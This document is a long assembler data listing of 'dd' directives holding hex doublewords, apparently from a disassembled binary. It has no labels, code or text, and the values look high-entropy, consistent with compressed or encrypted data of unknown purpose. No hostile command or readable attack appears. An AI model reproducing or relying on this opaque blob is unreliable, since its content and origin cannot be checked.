		dd 33F717B3h, 4F71066Ch, 0E1045925h, 49A0683Ch,	9EA3DDD8h
		dd 0BA8FC233h, 5C825604h, 98B39641h, 0DA165CE2h, 4E8568C2h
		dd 0B6347Fh, 0ECBA5251h, 0B93D1175h, 0F1178270h, 95BCE93Ah
		dd 81E4F98Eh, 0B4CD1212h, 2E89293Bh, 31812874h,	0C0072EFBh
		dd 0FE6ED4E6h, 0F6004676h, 43262F69h, 20E9F129h, 0C097BF63h
		dd 0BDEE89FCh, 0C61F01FBh, 42173670h, 56062644h, 5B4B1B98h
		dd 97409EF8h, 49B0B85Ah, 0F8F14BE0h, 465DCFCBh,	0E14C92Bh
		dd 757EE1BBh, 23694B4Fh, 58B72560h, 80FE882Dh, 0B1515FCAh
		dd 87E92DA1h, 5EFACA0h,	0D5FA872h, 84101A9h, 39CC823Eh
		dd 0B5519080h, 0DD72F6E7h, 0C580D517h, 6ED7707h, 8849606Eh
		dd 20E959E8h, 0B90F6313h, 0AEC856E1h, 12AEA181h, 0C8601764h
		dd 5840EC9Ch, 74407B01h, 0A4730CF1h, 22F480D4h,	55F81017h
		dd 8069BE5h, 0A8FD5560h, 6B20816Fh, 0AA1D1466h,	36534ECFh
		dd 19C6DE0Ch, 3D6E07EEh, 6D2930F4h, 1C08065Eh, 482CB47Bh
		dd 82123815h, 62BD21FBh, 0CD60247Bh, 7568AA09h,	9FBED172h
		dd 5CF4298h, 0FAE1DFF6h, 779BE304h, 2818C7D8h, 0C0E5FD5Fh
		dd 0CDFEF411h, 0B102FC20h, 500F89CBh, 8289681Ah, 3480A942h
		dd 0CCE7A58h, 6492F9F0h, 3219121Fh, 79DEF281h, 2D30383Ah
		dd 0AB0F1626h, 291CC102h, 6FDA41D1h, 7C8B34E7h,	75CB78B7h
		dd 0C28CBCF7h, 21052E0Dh, 0D84A5DECh, 5D5B5494h, 4DE93E3Ch
		dd 68175AF4h, 0D33BEC58h, 2306E301h, 0F5405E84h, 9ECB39BBh
		dd 8C98F55h, 0D2112587h, 0E65DB7BCh, 0F1102595h, 255FD692h
		dd 9DA14143h, 4FFE8A2Ah, 0DEE2F7A0h, 2F5922E7h,	0D7F71796h
		dd 0EC274AB9h, 0C35CE605h, 1EC902F6h, 4FF73F8Dh, 246E125Ah
		dd 18E083B7h, 0D83A4289h, 521672F3h, 0C201A004h, 71BF77F7h
		dd 39F8D630h, 0EF4E577Eh, 4C08EE10h, 3E8E04B4h,	0D1EE25F1h
		dd 24755CAh, 9DFC45Fh, 69123759h, 0BE563900h, 4D0964E3h
		dd 84E6D11Eh, 8AE2C625h, 3B2F417Fh, 2EBA1F0h, 646DF1EEh
		dd 3240D809h, 0EBBF01E8h, 0F07DBA13h, 0B25DF689h, 0C0E914ABh
		dd 0B1057B60h, 0BE1BD833h, 6181900Eh, 28D43EE2h, 2CE3EC70h
		dd 0B0F926Eh, 86221FADh, 0CBDB040Fh, 0E8C6E945h, 665B4C2Ah
		dd 6653807h, 0D574C363h, 81EC225Eh, 0A708DDA1h,	2163E832h
		dd 17AD9983h, 0AF6B8578h, 0E0213F64h, 405C803h,	90091C75h
		dd 4C21EF9Ah, 5462312Ch, 54DA4202h, 0D80DDE1h, 0F679FE05h
		dd 0D9042175h, 8981266Ch, 0C4019984h, 3F3C0819h, 0CE440660h
		dd 0B7E5CEE7h, 17491CFBh, 0E290374Eh, 0E455849Fh, 7D489F71h
		dd 5E82F237h, 3B5C5184h, 0A8960CECh, 0A381740h,	4DA097CCh
		dd 3F7EB53Ah, 0E56303ACh, 3607D648h, 55460D05h,	2BDC092Bh
		dd 960C583h, 0C77F5450h, 12E9865Dh, 0D03B18EFh,	2002ADE2h
		dd 295BDF31h, 16C8A4FEh, 0A9012123h, 0D8EAD25Dh, 0E67288AEh
		dd 5A5AF725h, 409E90CEh, 6EFF5971h, 2F3F43A1h, 3DE90BECh
		dd 6C98E90Dh, 0E167A407h, 645DC2DEh, 5F34AEAh, 0AD02898h
		dd 8E98A792h, 31A7E7C1h, 8F926CFh, 7DD2FABDh, 0DAAF53E9h
		dd 0F1602F78h, 0CE776D7Ah, 26351F7Ah, 51044822h, 0BD00170Ah
		dd 7ECA0749h, 0EB52E397h, 89EFFDD8h, 38693000h,	7F22AD0h
		dd 29046964h, 42B045B5h, 169A09B8h, 995A035Eh, 5BF22AD0h
		dd 0F7F97D49h, 2C1DFB0h, 62EA5C9Dh, 0C4648D05h,	1D927C0Ch
		dd 12A60C94h, 0E868D027h, 67E400BEh, 0EEE92271h, 0EC67B24Dh
		dd 0ED784FC3h, 0D0E38B93h, 52AF9C0Ch, 0F7138105h, 0F5054B3Ch
		dd 0DD2118F1h, 4FC1A5F0h, 0E2C7C73Bh, 0AE9AD8B8h, 6BAF525Fh
		dd 0A55C6BAEh, 42E1F140h, 48396091h, 654462F3h,	0E2CF2924h
		dd 597F0820h, 5B63ED05h, 50BF2326h, 605A08ACh, 1393E94Eh
		dd 0A27C014Ah, 0F4316E9h, 7771AE01h, 0A6232C27h, 11862D78h
		dd 0B19BC290h, 59A22C83h, 2D524258h, 85A6801h, 385AA62Bh
		dd 0FE3251F6h, 3B60E741h, 0D304E0EDh, 0AB475605h, 612BF0F1h
		dd 7FC58DC3h, 72FC346h,	3BFE95AEh, 60BBEB13h, 0EFFFE939h
		dd 24DF67B7h, 0F3414654h, 5AD53102h, 875DEF29h,	5659E2E6h
		dd 0AE53E5A6h, 40E95030h, 0F33CD614h, 1568828Ch, 2AE90274h
		dd 6FABD15Fh, 452249A6h, 2570C106h, 0B0C2DCCh, 3BA349Eh
		dd 8A095DCh, 6F597995h,	8E6D5D6Ah, 103BB4E9h, 0E52876A0h
		dd 6B526398h, 9E391B9Bh
		dd 9F1A382Fh, 0EA9C5CC0h, 5FCF12CBh, 1A89F57Bh,	864AB897h
		dd 68508113h, 9D805AD0h, 5F9D6D34h, 2902CC42h, 2CAA0C4Eh
		dd 940CF18Ah, 0FE276012h, 86B413D0h, 5D50AA8Eh,	0F26B12C9h
		dd 5267D921h, 0EE8B8178h, 8220AA00h, 70909E2Ch,	2245C10Bh
		dd 9228D71Bh, 0C8F42D08h, 959F0D58h, 0D40B0645h, 30B89821h
		dd 705B7FDEh, 2CF03A59h, 0AE148B13h, 1B55827Dh,	0E9CFC6B8h
		dd 0F76FAE8Ch, 4F416E1Ah, 7E07FF2h, 0F8BF23A9h,	0BB4516E7h
		dd 1037166Dh, 664C0873h, 78D668B0h, 0F36741B6h,	0A371FDA2h
		dd 535B580Ah, 0BB277AF8h, 49F38D20h, 0D1F08225h, 5D4BEB7Dh
		dd 0DD4F0CACh, 0DA35F465h, 2E0FD5A4h, 65653921h, 0FD52361Fh
		dd 5FA23306h, 24957D24h, 806C33AFh, 0AC5371F6h,	0F6952167h
		dd 0F8F92D5Ch, 43AF7CBh, 46204F86h, 3496B803h, 0D1252F0Ch
		dd 5D82E24h, 1B7600E7h,	689B2D58h, 0C3BD3FF9h, 347CE895h
		dd 0EE6F5D47h, 0EC20D14Ah, 0B5972811h, 0F8D67DFCh, 4C08D265h
		dd 7D7E251Eh, 8A444CAFh, 5A26F861h, 0BCAF16C7h,	8CEEB4C5h
		dd 0EE4C0151h, 4E9159CAh, 972DC1ECh, 32BDE705h,	0A07DF2BAh
		dd 3FB1BEEEh, 431E4AFh,	12685EF5h, 0BF02CC17h, 4BEE4C04h
		dd 0A3E031F8h, 0E86595EAh, 6865E98Bh, 1717E392h, 0FC471241h
		dd 81E0B5Ch, 0F30055CFh, 574A022Dh, 0CC054207h,	0C2FB5622h
		dd 680701B0h, 667E4759h, 0F8953389h, 0BB5A792h,	4E54F1C6h
		dd 0AF435FC2h, 1F6C0422h, 55256DF2h, 5D1653E5h,	10E24A80h
		dd 25F5B81Ah, 5FFBD476h, 60D6C291h, 63568CFh, 8774D128h
		dd 96C26944h, 0AEB04426h, 24F5EF40h, 0B51FD636h, 2358A2C1h
		dd 0E7881773h, 0E2EEEA5Eh, 382112BFh, 3078C3F2h, 8010E17Dh
		dd 0F4E6F6E4h, 0E56B8C70h, 4C72039Fh, 0A9771098h, 0E83012ECh
		dd 54910EBBh, 9250DF1Ch, 16F4C504h, 0A01E0405h,	0CB15C041h
		dd 0D402C8CCh, 74E9F031h, 82205403h, 16396D35h,	6306815Fh
		dd 0F02F0F22h, 0F9498725h, 92DF3B3Ch, 0F6DD8146h, 12973A20h
		dd 4816DB0Eh, 73AFB356h, 49CE1FA1h, 725CD2C9h, 44150B8Bh
		dd 0FCA4BDE3h, 3BBBF955h, 0F58C98FEh, 14ADBBE6h, 0E75FB67Bh
		dd 1652B31Dh, 0FF958455h, 54438682h, 0D70D02EDh, 5F8F5A0h
		dd 2735554Ch, 79AB0B16h, 13688585h, 7CE367h, 0B822DDEh
		dd 54E9D2F7h, 4C59C630h, 0E9B0A555h, 1411EB5h, 402F3730h
		dd 0F412B871h, 0C34063BEh, 2293D93h, 0EB7C27E9h, 3B90AD7Ah
		dd 0D0978F75h, 0F74AF23Dh, 50FAB07Ah, 3A362C5Eh, 41DEF8ABh
		dd 0AD5C7FBDh, 181394EEh, 9FC42FADh, 685500EBh,	4F2D0FD9h
		dd 0D83C0130h, 30EFD101h, 0A09F1EC2h, 2C32C3B2h, 8F0833B1h
		dd 41407FD4h, 231222B2h, 20FF3605h, 287B6898h, 0D503239Bh
		dd 0E95D5A17h, 303B7D67h, 0F55B3117h, 82E24D4Eh, 405715C0h
		dd 0FA0A0D3Ah, 8905DC1Ch, 0EC01743Fh, 935CB24h,	0A14058C5h
		dd 126A7C1Dh, 0D1F52942h, 1F8FECh, 5FAB850Fh, 4B90B736h
		dd 0DCD438B9h, 3509C820h, 8F64D34Ch, 27DA7C0Ah,	0EAF35F2Ah
		dd 44AA5893h, 0A8CE4255h, 0D5EBA237h, 65CA905h,	0E5A0404Ah
		dd 185AD73Ch, 0D110E054h, 48C172EEh, 0AE0EC004h, 0AE56478Ah
		dd 0F59EA61Ah, 0F67E0CB9h, 0CDA27166h, 5C686601h, 3EA44D2Ah
		dd 25B7BF01h, 13142ECDh, 0A45AB807h, 3A2B5BAh, 5312BB87h
		dd 5E3262Bh, 0EE126004h, 0A5008001h, 47775E43h,	4C44629Ch
		dd 0F24B69B8h, 748E8BF9h, 1CDD278Fh, 841CA5Bh, 0D2F3AD93h
		dd 4D32D939h, 0AAAD5FA3h, 4F06AAA4h, 9712E3F7h,	0C9695680h
		dd 23B21DFBh, 17685B09h, 26EB306Fh, 7B03E48h, 84DFF3A6h
		dd 7A3FDE9h, 172C609h, 141957B5h, 7D09EAFCh, 0BA526280h
		dd 672725AFh, 80CCFE36h, 605B012Ch, 284EB8E9h, 548B5D25h
		dd 3BC65324h, 1C032802h, 5A7036E9h, 646F0EB4h, 8DB8630Dh
		dd 8BEB1FE4h, 0B5C1B216h, 555427h, 7360CBFAh, 68124731h
		dd 0B460063Eh, 0B8F7776Dh, 0D240BD6Bh, 50CA5BD9h, 0D6E9CE02h
		dd 0F8F652B1h, 783EF625h, 2562ADE9h, 0C03BEB9Fh, 0B050958h
		dd 76F40B61h, 7DF88D5h,	7C25BA24h, 0FDE9F919h, 0E03441EFh
		dd 0A8F03F62h, 39BABCE6h, 2E98D7BBh, 6BA0E24h, 420F3517h
		dd 3EF2E4B4h, 2B2D25F7h, 72B71850h, 1923090Dh, 70C62AB2h
		dd 29F5449Fh, 0AC98394Eh, 0BA9213B1h, 53653F35h, 49468EEBh
		dd 0F1512F13h, 0A77F258Fh, 23A91A46h, 3F5A76B3h, 1A9C5E7h
		dd 0F5442FE0h, 0B847F9F7h, 0F75B25BEh, 0CE680C18h, 0F3AD544Eh
		dd 0DAC0793h, 0EA33452Dh, 64D4DC4Fh, 588538B4h,	31173981h
		dd 0A2726078h, 0A02360E6h, 0D8AF581Ah, 4A12EE0Bh, 0CB826109h
		dd 0EFF5564Fh, 9DFC2FDAh, 2DE86E88h, 0BBBE62F3h, 0DC44E9CBh
		dd 468C2436h, 0BE00F345h, 18D443CBh, 756C5BBh, 0F3313C0Fh
		dd 0D1B6AFE9h, 6FEF240Bh, 96013FF3h, 210AEE52h,	30E259FBh
		dd 606F45Dh, 0DA095AE5h, 6FEA413Ah, 4F8050C5h, 3FA01B75h
		dd 22A5457Bh, 9EB95EC0h, 0D44F082Fh, 0FB620194h, 2B89E2B0h
		dd 0FF68CAD8h, 20D9A4DEh, 2959F090h, 5BBCA0DEh,	19172522h
		dd 48C98CD0h, 0B4BC401h, 1BEAFC9Ah, 39DB77A2h, 0CFFF9EE4h
		dd 0C8DDF1D0h, 823C0196h, 0B87EC2F6h, 0A5DA5F6Ch, 53E02204h
		dd 0B4B80579h, 8BD70696h, 0BD014C37h, 2D0C5059h, 0B93ED5F7h
		dd 61F04A21h, 0C5C5B75Dh, 696F2427h, 0EC2E6A4h,	2A6717ECh
		dd 345FEAC0h, 68120AB0h, 89611C5Dh, 2D2B29E7h, 17CA6FA6h
		dd 1E0A214Fh, 68D73EFFh, 1EFCD775h, 0C0AAB700h,	0F78003EFh
		dd 0EC86C94Eh, 9912DD06h, 2B0618AEh, 0A2EB95C4h, 0DC80CE61h
		dd 0D51093AEh, 7FA6E04Ah, 0A31B14Bh, 373B20EFh,	651301BBh
		dd 96A46B58h, 0D75B1725h, 0ED2F0005h, 215DE552h, 0E91BC8B0h
		dd 0DA3CCCBCh, 80C94150h, 76D0DF52h, 0D60500A7h, 29A93127h
		dd 4D8F7BF3h, 0EA040643h, 0C2D92DFEh, 0A388CAFCh, 64591908h
		dd 0C729813Eh, 61B06812h, 7F86CA2Ah, 10B5EF1Fh,	4B0C2558h
		dd 27C02767h, 502C1574h, 9BCD5258h, 9E5F27F1h, 0D6E92ADEh
		dd 0EE8097D1h, 30E473FBh, 5DD20CC1h, 452F39C4h,	0B958C606h
		dd 5DEEE10Dh, 0AA4B5F32h, 2DE9DB7Ch, 0E77BF6B5h, 6854D50Ah
		dd 0E605F7C9h, 0B8FDC253h, 6229AA68h, 7A1919B7h, 0BB048C68h
		dd 0AE4854BAh, 4B0990Eh, 41AB4CF9h, 9B984DD8h, 38C12AE3h
		dd 6D81214Ah, 363E3DCEh, 39012E45h, 52743C3Bh, 4D6A7061h
		dd 3E82E9A0h, 578E8BB9h, 0E8095FE9h, 2BBC1245h,	471367AAh
		dd 0E9E90716h, 370CC702h, 6658657Ah, 7C9F3298h,	0B7795A62h
		dd 7CE58B9Dh, 4CFFDACFh, 74E9177Ah, 0DEB7CC96h,	0C724405Ch
		dd 0FEA3CA09h, 0B51402F7h, 0EAF5804Bh, 3E088DE1h, 7DFE8932h
		dd 59C6EC8Bh, 0F207769Dh, 4492BDCh, 0EF125262h,	47679805h
		dd 0D6C18F52h, 6AF51F3Bh, 40988373h, 0D4126312h, 24EB010Dh
		dd 6D0A1061h, 0DD42C227h, 0AAEDD0Fh, 0F50067C9h, 2C3C0DE4h
		dd 0C4074590h, 0E91E4B2Ah, 1F24750Bh, 912DABCEh, 71AE3A82h
		dd 0C05D6EAFh, 0E47E4F06h, 0B139047h, 548CD40Fh, 11CC27Eh
		dd 51C580FDh, 0E973D327h, 0AA7B4A9Dh, 0F77F662Dh, 7C688469h
		dd 0E87556BAh, 0F7E9E086h, 2ABF80B8h, 56A57A1Eh, 4EF83B9Ch
		dd 0FFF42DEFh, 8371E2C2h, 2FEF133Ch, 0BD961AEh,	0EFDC2B4Ah
		dd 87EEB787h, 6C85354h,	384B737Fh, 4B073E10h, 0C17FF68Ah
		dd 0DE57F8EEh, 0E58E7E37h, 0E21DD912h, 588A848Ch, 0DD27B641h
		dd 51F5C4Eh, 8C165704h
		dd 0F487935Dh, 92CC203Fh, 49E90260h, 510E32EEh,	0EC4FDD88h
		dd 526AC045h, 7AC3FFFBh, 0FCC9B513h, 971289E0h,	0A0546212h
		dd 1A9C8216h, 5F8890C6h, 0E09BFCEBh, 255380B9h,	0BD924C52h
		dd 91D3F429h, 830B042Ch, 599C75C6h, 96402190h, 6B93A045h
		dd 0FA3BC489h, 9D6A85Bh, 0D65E8D68h, 58546294h,	7ACC84Dh
		dd 9E32B42h, 790C6700h,	73B27557h, 69D72D0Bh, 0A4820673h
		dd 0D50CC473h, 1A6800C7h, 0F437E361h, 1510628Dh, 0BCC2175h
		dd 59EA537Ah, 0E99B0297h, 955DD055h, 7C7A99D6h,	0F6452519h
		dd 749055A7h, 48BDEC53h, 999DF010h, 6C6841B0h, 81A23944h
		dd 600228E5h, 0C2B3BD7Ch, 0B97AD1AAh, 0BAA1E918h, 0E091EB55h
		dd 1032F58h, 0F45A71D6h, 0AFD7C5D7h, 0D2687830h, 0F82FE12Ah
		dd 9C05E2A7h, 35CDB7CBh, 0B510DF2Ch, 75CEF04Fh,	804E075Ch
		dd 0C23EF005h, 30A5B432h, 0B7D12BAh, 0CA29193Ch, 4E7D2EAFh
		dd 71070216h, 0EEC15310h, 987DD5F7h, 0BA360105h, 0A745BE2Ah
		dd 0CBD12304h, 35600BEBh, 6B299CC0h, 0E1858B75h, 5CD95BBFh
		dd 909AF2Ch, 4FC1C4Fh, 301F858Bh, 82036AE4h, 5D77295Dh
		dd 6B5E6703h, 357E4258h, 0E3A80D5Ah, 71F06809h,	2B96B859h
		dd 0B7AE7EC4h, 5B12607Fh, 3142Eh, 70331C25h, 18FCE955h
		dd 0E37BBDh, 0F685756h,	75312517h, 7B36785Fh, 26E926F0h
		dd 4056D36Fh, 91CCB46Ch, 5DEF2116h, 8FF84321h, 315494AFh
		dd 4AACE9D8h, 725188A2h, 0D3885A80h, 0C06512ACh, 84686677h
		dd 8AEB5358h, 321C9530h, 0E91306E8h, 68EA14E1h,	0E14194D4h
		dd 8B3ABFE1h, 525100F5h, 88501BB2h, 0C5C5E4D0h,	64A11280h
		dd 5E5685CDh, 9F153BCh,	777596Bh, 0D9EB2CA4h, 0C4ED1F83h
		dd 0BE308435h, 0D9FD9BF1h, 0E6D79F22h, 92F24EF0h, 0FFAF3D34h
		dd 238CB404h, 0C9DE9AADh, 457FEF5Ah, 16F24FAFh,	965CA8B6h
		dd 0FDDB7D0Dh, 0B85BBF3Ch, 770317D9h, 88F0A352h, 7B818297h
		dd 0EEF5733Fh, 0CE9EFEC0h, 171CC95Ch, 0A0342C85h, 5C134FC2h
		dd 0F8FA655Ah, 0A2B75F95h, 0D186A24Eh, 685507B0h, 657546E4h
		dd 539AC482h, 0CC5F1ED4h, 421653B7h, 2A9E97ECh,	34B5FA3Eh
		dd 44E938A5h, 7E6C8ECEh, 114B092Ch, 0EACBAB9Fh,	71320255h
		dd 0F45B04A2h, 8909E2AFh, 0D6428A7Ch, 78108060h, 0A2E9FEFBh
		dd 0A492B35Fh, 3B177CBEh, 7997B900h, 0C9815076h, 697214E0h
		dd 520B8590h, 8043900Bh, 6EE9519h, 63A8A136h, 0E25F7079h
		dd 0E03812CAh, 2F928CBBh, 985113CAh, 8C387702h,	4D40FF16h
		dd 7B010331h, 0E9DD29A7h, 0CF6E9AB1h, 1D8D3143h, 6530E3C0h
		dd 0EA0B9798h, 0F912FC7Bh, 3D4BAEA8h, 705239A8h, 2116389Ch
		dd 1AC41EECh, 0C7810051h, 5B2D4F98h, 7642BC6Fh,	5612F7F4h
		dd 0B404BB1Ch, 27AB883Fh, 461082DEh, 84B85D04h,	528ED39Eh
		dd 2468EA52h, 0F3E34F68h, 30C3409Ah, 1725F16h, 0F76140BAh
		dd 6335771h, 12058CCCh,	777E7CC6h, 50A401A8h, 0F829182Fh
		dd 5F07432Dh, 0B70236E8h, 7DCA1D48h, 0E6E007A3h, 4006D676h
		dd 3F59E953h, 83F3977Eh, 142FD3A4h, 0E1D09703h,	5B30CBA4h
		dd 9FC2DFA9h, 16692C33h, 13D110C5h, 0C801515Eh,	30E54C5h
		dd 81DD6622h, 887502E7h, 84E17F4Eh, 1F86B27Fh, 60AD0853h
		dd 9632FA4Eh, 44756284h, 0FE0FD509h, 0E9012244h, 977D1754h
		dd 93B737EFh, 6F0359E7h, 342547E3h, 43F3B07Dh, 254DEC01h
		dd 3A56F7E9h, 0D0B2DE2Fh, 0A8B98FB7h, 3EF2A03Ah, 0AA97C128h
		dd 0ED06A452h, 9B0B307Bh, 8D5012Fh, 0E9040834h,	0ED465DBh
		dd 1CEEC185h, 4F294BCFh, 6B685668h, 12AF68B5h, 6041B40Bh
		dd 151D13D4h, 3E3749BDh, 29B5097Ah, 0FC18E055h,	6DBC213Ch
		dd 0E9340820h, 0FB81CFCFh, 84C35573h, 0FC4E58E3h, 0FA487371h
		dd 7E0C9484h, 0BBBEE7C0h, 910B4767h, 0BD55806Ch, 0FEE7D61h
		dd 0D9D7294Ah, 0AC6AFD59h, 10590F09h, 0FF709E62h, 681718C6h
		dd 0B0B60D9Dh, 5B31C458h, 2DA61631h, 3DED07EBh,	74B219C9h
		dd 0A23AFEFh, 25388FD1h, 0ED8D745Ch, 0A4CA2C64h, 930C682h
		dd 0A738E55Dh, 235A0952h, 7E5DAE0Bh, 0AB2FBDC1h, 97D1F785h
		dd 5251163h, 80B27567h,	23CF3F12h, 0B0F301FBh, 0F2D85FF4h
		dd 0B35C0BC3h, 4FFF64Ch, 0C701C783h, 7174702Eh,	0E8ED4D21h
		dd 0D52D2B37h, 453989F7h, 605B8254h, 22FF268Bh,	0CBB621ACh
		dd 0BEA23E91h, 6808750h, 0EB2823EDh, 7A790C59h,	37AAC538h
		dd 505110DDh, 0F4F8BAB4h, 0DCF63D6Bh, 6CFCC98h,	932DE9DFh
		dd 26171F0h, 4F333F97h,	0F4D0EB96h, 7E59270Fh, 0FFF99377h
		dd 1216348Bh, 0E4BC6225h, 0BEA5A8AFh, 0B8D26119h, 0A41B884Bh
		dd 273D3D2Ch, 3878CD5Ah, 7717444h, 3076C43Ch, 48E1044h
		dd 975BE451h, 0C7179451h, 15BBB946h, 0EB3EC6D0h, 430B03FFh
		dd 2390AFE9h, 0C1CBFED1h, 747F31F3h, 98E3AE1Ah,	0BE1B6890h
		dd 0FE0B351Ch, 122957A3h, 497EC5E6h, 0FC00E1FEh, 0E9080E10h
		dd 4D916EFDh, 59180CC1h, 42662B23h, 30D80B30h, 504415B8h
		dd 0B2142A02h, 74DAE932h, 8FF42530h, 600AD352h,	6FF5E9EBh
		dd 1B0913B9h, 1623ABE4h, 368148Ah, 0BCD3E919h, 0A0B85F41h
		dd 60B829F5h, 11033403h, 55E9637Bh, 0D18318C5h,	566BF65Ah
		dd 4918221Fh, 87E653CCh, 5E0DB201h, 38233255h, 8CA0FC4Ch
		dd 5182C280h, 5AD089FAh, 8E9F322h, 0DC272C44h, 7BDAFADBh
		dd 2F14B0F1h, 14A1BA52h, 605AD629h, 31804300h, 837097F5h
		dd 4E5D03F4h, 4FE0204Eh, 87D681CDh, 11A22B2Ch, 0DF75E496h
		dd 1645D14Bh, 0D6167972h, 4B9EECBDh, 87D6E16Eh,	7E8AF173h
		dd 436DA149h, 0F97EA15Ah, 25006FA6h, 0BF7357BDh, 0CD81384Bh
		dd 40373E0Bh, 696F7B02h, 4F57CEF7h, 25A5CB12h, 941CFD24h
		dd 0F305CBD3h, 175669C2h, 2063E508h, 7CE22FC2h,	68E8AF7Eh
		dd 56D69151h, 79064FA8h, 0EB048FE5h, 20545C39h,	12AFC6AEh
		dd 782560EEh, 0E04501Eh, 11BB57Dh, 80D1CDAh, 0C514041Ch
		dd 4C6AECE3h, 0D9E64177h, 2E842F1h, 0D2840F00h,	49C99683h
		dd 627F7480h, 3144304Eh, 0CE8259E9h, 5B69BA01h,	294A0FD7h
		dd 0C2CA02BAh, 7F681C74h, 0B83DA102h, 4F84963h,	0DE5B6FAEh
		dd 5B050AFCh, 0FEE9F831h, 0F2809AD0h, 0DAF607BFh, 8E02EAC0h
		dd 0CA66556Fh, 0E9700C4Eh, 841CD048h, 0EA12E836h, 0C4FD41C3h
		dd 863497AFh, 5F5A1CECh, 0E97369A2h, 90ADF37Ah,	46E9C2E5h
		dd 0BCF5799Eh, 9F567198h, 60F968E2h, 0B6F8FF16h, 10183749h
		dd 301FDA42h, 0BDC112D8h, 72E603A9h, 458DC6Bh, 230E4C0Ch
		dd 2F228032h, 5C28B428h, 60BFC109h, 4C485022h, 0BC2538A3h
		dd 0F9A61AF1h, 0BA4BF701h, 366A4637h, 5E5F2030h, 3DB992C4h
		dd 1DAF9C80h, 3B2DE997h, 0EB9C98AEh, 4FDF99E0h,	0C91E137Fh
		dd 0F5A2E05Dh, 8F80C9B7h, 350F047Ch, 0B0D321F3h, 2C1E47B4h
		dd 0C909101Dh, 950AC4B1h, 73465FBh, 0F0AF0E81h,	6A6E6800h
		dd 8C73D3B5h, 1E1FDC71h, 9CE86941h, 2ABB143h, 0C0211438h
		dd 98AF72D5h, 7BD34D98h, 3B08EA86h, 271DF49h, 0D44738BEh
		dd 8151563Eh, 511CDEEEh, 7A26EFBh, 0BD2BE44Fh, 0BE067B92h
		dd 0E1A155Eh, 338E0A30h, 2E10951h, 17B237D1h, 21D4D880h
		dd 2D000480h, 55F754BEh, 2A68F001h, 956F5726h, 0AE9A39C4h
		dd 5C83101h, 347E7B36h,	402A62F1h, 6E48EF19h, 0FF682F3h
		dd 0EB179063h, 0C022E27Bh, 9723A10Ah, 89FBC012h, 5721CF12h
		dd 0AE047434h, 40F32AC8h
		dd 449E5DD8h, 5AE06AC2h, 0FC014AC5h, 25AB0786h,	0D2F21A67h
		dd 0F3852FFh, 2C9F3370h, 259BB64h, 0CC0DDB68h, 534A019Ah
		dd 0BAE98548h, 0E2BF81E6h, 74D81B1Eh, 13F41921h, 1CC134Eh
		dd 2F70AADAh, 16275A91h, 1D3294Dh, 0D17CD7E5h, 6ACFF833h
		dd 7092042Fh, 25DDE839h, 38421953h, 90F39D80h, 111887CDh
		dd 6859D801h, 0E75C6716h, 56252843h, 0E5C10087h, 14C58105h
		dd 2898A01Fh, 5CEB7AD7h, 12B2258h, 888896C8h, 295E03FBh
		dd 7CC957D9h, 0F6E781D5h, 0D64047Ah, 0C1849C20h, 2FE5C217h
		dd 4677C2EBh, 0DB690981h, 3F5C8B64h, 1401825h, 555201F8h
		dd 36563D68h, 0AD9B2008h, 0C4E41B4Eh, 7C0C1306h, 4412C7D7h
		dd 50590086h, 757B252h,	0D428C4B4h, 0E2CC7C5Ah,	59B584Ch
		dd 0D24E915h, 40DA77E8h, 0E4B80655h, 906EB80Bh,	7D2973F8h
		dd 1ED1255Fh, 1E745524h, 5E986389h, 66577230h, 0D7BA25E1h
		dd 55E9AAD6h, 0A4C1426Ah, 52499330h, 0B665A703h, 58E6D1ABh
		dd 37DF61E6h, 0B5BD772Bh, 3F41BC29h, 0E610AF68h, 885E0EC0h
		dd 13765BFAh, 0B2AA2C2Bh, 2F23CB58h, 3B31D01Ch,	0A9F6083Bh
		dd 82700250h, 832ABE22h, 0B316CCEh, 60E9C193h, 0BDD087E6h
		dd 64E02EB7h, 0D2B3F581h, 0C588AE0Dh, 75EF5F42h, 0AF8BAFB6h
		dd 0FF28885Bh, 5703B9Ah, 2D123412h, 7E83F1Ch, 591C9FF0h
		dd 0F6E76A41h, 8F056046h, 34610D77h, 2E5FE930h,	7C61CA2Eh
		dd 4E60CC2Eh, 0F97D412Fh, 0FC2EC16Ah, 0D92EA695h, 3A080716h
		dd 0C3890770h, 53D83350h, 0EF00C4Eh, 625DE558h,	160C8F20h
		dd 0BA89C5E7h, 70ED1809h, 0FCF29DDDh, 4809071h,	0DE0C0218h
		dd 6B2C2E34h, 2829D3D8h, 4344C2E8h, 0F289DDD1h,	5B75F432h
		dd 258446Bh, 77D6C330h,	0C31315A6h, 300057FFh, 1ECD4287h
		dd 0E9DF1689h, 0B30740F8h, 5BD98858h, 0E8B0F6C9h, 0C0A66D02h
		dd 2B91E1C7h, 0C1EC3AF8h, 114102Ch, 67CE8314h, 0B1B06112h
		dd 97CA0196h, 5D69F4F6h, 0F7270647h, 0D634F810h, 220FF682h
		dd 7084C567h, 0CF41ABFAh, 44734F46h, 0D042FA30h, 9C04F80Dh
		dd 0FC0FED65h, 62104F12h, 0B5E9090Ah, 4A285CCBh, 51C5074Bh
		dd 5D1F28FCh, 0E956CB01h, 0EF814E64h, 0BDB470EDh, 0C3B02E34h
		dd 298F1535h, 5558F844h, 4804CB01h, 2A4B41D0h, 0CFAD3190h
		dd 31D50E49h, 8D4BE9C3h, 1A68FEA9h, 0F7B15729h,	0A3685A02h
		dd 0A56C5735h, 0A1D9F02Fh, 77073123h, 60D7CD30h, 0B9E399F5h
		dd 1A4C411Dh, 30380476h, 81C50B23h, 0BF5C6FB0h,	162EEC4Ch
		dd 0C794CB5Fh, 83F726EBh, 4828A53Ah, 4F7DE966h,	2DD54195h
		dd 304B761Eh, 4302F7FEh, 0AE97CE6h, 8959017Bh, 0A5EA2CD5h
		dd 0CD0741AEh, 20260368h, 21B2ED06h, 0AD35F305h, 60AB31EBh
		dd 0A9E5E9D0h, 0B988A694h, 9A680520h, 0D6CAED22h, 15EBC490h
		dd 4F3E251Eh, 2960F774h, 67C4E9FEh, 21ECEB92h, 22E3205Ah
		dd 7EC0CFC7h, 0D6C38084h, 406D44A0h, 92BE6637h,	70B4A16h
		dd 0F783FFFFh, 6BAC0D2h, 30F58860h, 882559F4h, 950670D1h
		dd 3EFABE16h, 0CBD750F5h, 623D5257h, 0B3B9B120h, 0EF40D529h
		dd 61020F74h, 0E95A104Eh, 44847FECh, 0A14A6CBBh, 22EAD44Fh
		dd 49752BEEh, 2C7FF8EEh, 0C141C94Ch, 0E205B2CFh, 0BA905D66h
		dd 125C7AE5h, 7D6409Dh,	0FCB1D179h, 0FA770480h,	5EEF01E7h
		dd 519B315Dh, 8214EC68h, 81597B06h, 300F05F1h, 0C712C889h
